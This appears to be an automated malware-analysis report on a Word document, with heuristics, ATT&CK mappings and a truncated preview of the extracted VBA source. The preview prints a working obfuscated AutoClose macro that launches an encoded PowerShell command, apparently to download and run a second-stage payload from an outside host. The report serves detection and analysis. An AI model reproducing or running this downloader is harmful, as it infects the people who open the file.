MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoClose trigger, indicating it will execute automatically when the document is closed. The macro constructs and attempts to execute a command line that appears to download and run a second-stage payload. The ClamAV detection further supports its malicious nature.
Heuristics 5
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ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 46727 bytes |
SHA-256: 8eba49c8fca7e38ee5631aabfcde9b3cd194155c0540a3a47dabd3ab92ce9eab |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Const hIBuGohjYbuJEvOikyxiNara = 0 Sub AutoClose() On Error Resume Next piDmUVUXAxyfadIXoWevASAdIJIFfid = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^t^A^G^8^A^c^w^B^v^A^G^s^A^c^w^B^v^A^G^E^A^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^A^B^t^A^G^E^A^b^A^B^z^A^G^s^A^c^w^B^h^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^N^A^F^g^A^R^Q^A^v^A^G^w^A^b^w^B^k^A^H^A^A^b^w^B^z^A^C^4^A^c^A^B^o^A^H^A^A^P^w^B^s^A^D^0^" Dim BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(4) Dim qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(4) If 13 = 13 + (4 * 0) Then qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(0) = CLng(8186) End If qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(1) = Sqr(4) qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(2) = Month(81868186) qKIbeXDOhUccEvEqAFAnjOBOBateTuJIjCe(3) = Fix(8186.4) If 13 = 13 + (2 * 0) Then Dim rIVUSATyBOEPEhawaBEDABeTsiaE(4) If 11 = 11 + (9 * 0) Then rIVUSATyBOEPEhawaBEDABeTsiaE(0) = CLng(5780) End If rIVUSATyBOEPEhawaBEDABeTsiaE(1) = Sqr(9) rIVUSATyBOEPEhawaBEDABeTsiaE(2) = Month(57805780) rIVUSATyBOEPEhawaBEDABeTsiaE(3) = Fix(5780.9) Dim qOLOWivOgICAJfwORiBErapelOSuBEnUwA(4) If 13 = 13 + (5 * 0) Then qOLOWivOgICAJfwORiBErapelOSuBEnUwA(0) = CLng(9114) End If qOLOWivOgICAJfwORiBErapelOSuBEnUwA(1) = Sqr(5) qOLOWivOgICAJfwORiBErapelOSuBEnUwA(2) = Month(91149114) qOLOWivOgICAJfwORiBErapelOSuBEnUwA(3) = Fix(9114.5) BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(0) = CLng(6339) Dim GusUQUBYsEiODiLaDFrasypaseMIqaLii(4) If 13 = 13 + (1 * 0) Then GusUQUBYsEiODiLaDFrasypaseMIqaLii(0) = CLng(734) End If GusUQUBYsEiODiLaDFrasypaseMIqaLii(1) = Sqr(1) GusUQUBYsEiODiLaDFrasypaseMIqaLii(2) = Month(734734) GusUQUBYsEiODiLaDFrasypaseMIqaLii(3) = Fix(734.1) Dim HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(4) If 13 = 13 + (8 * 0) Then HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(0) = CLng(9983) End If HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(1) = Sqr(8) HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(2) = Month(99839983) HeCePyNecujIDOzOkOcaBaJydUJoQafahiZac(3) = Fix(9983.8) End If Dim HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(4) If 10 = 10 + (10 * 0) Then HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(0) = CLng(8345) End If HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(1) = Sqr(10) HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(2) = Month(83458345) HUbySokOqavOnOGhuwYhaFarYLyxIaoWYlYhiSmIs(3) = Fix(8345.1) BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(1) = Sqr(2) BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(2) = Month(63396339) BaHYluGMyVaCiFmitiaociVOCEqAsONeieZU(3) = Fix(6339.2) Dim seiWEkIxiSSyRyQEJyMiNorEXGU(4) If 12 = 12 + (6 * 0) Then seiWEkIxiSSyRyQEJyMiNorEXGU(0) = CLng(6975) End If seiWEkIxiSSyRyQEJyMiNorEXGU(1) = Sqr(6) seiWEkIxiSSyRyQEJyMiNorEXGU(2) = Month(69756975) seiWEkIxiSSyRyQEJyMiNorEXGU(3) = Fix(6975.6) Dim XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(4) If 13 = 13 + (3 * 0) Then XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(0) = CLng(7610) End If XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(1) = Sqr(3) XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(2) = Month(76107610) XAtOgeZOBEGYwOTiruxEQepAjyRYQaaxExNlICUTY(3) = Fix(7610.3) Dim ZYxIZydUmYNEHUkomoCMukuCACADYN(4) If 10 = 10 + (2 * 0) Then ZYxIZydUmYNEHUkomoCMukuCACADYN(0) = CLng(9729) End If ZYxIZydUmYNEHUkomoCMukuCACADYN(1) = Sqr(2) ZYxIZydUmYNEHUkomoCMukuCA ... (truncated) |
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